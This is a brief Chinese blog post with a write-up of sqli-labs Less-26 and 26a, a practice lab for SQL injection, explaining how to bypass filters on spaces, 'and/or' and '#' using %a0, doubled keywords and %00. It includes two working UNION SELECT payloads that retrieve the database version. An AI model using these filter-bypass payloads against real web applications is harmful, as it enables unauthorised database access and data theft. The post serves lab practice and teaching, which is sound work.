Less26,26a【空格符号过滤】

26对于空格 and、or、#、等符号均在做了过滤,在应对and/or时双写过滤或 || 过滤即可,对于空格使用%a0过滤,#用%00过滤
?id=22221%27%a0UNION%a0select%a01,@@version,3%a0aandnd%a01=%271#
26a与26不同在于分隔符号,26分割符号为(' 
?id=12222%27)%a0UNION%a0select%a01,@@version,1=(%271#
 
posted @ 2020-11-03 17:55  峰中追风  阅读(124)  评论(0编辑  收藏  举报

___________________________________________________________________________________________没有白跑的路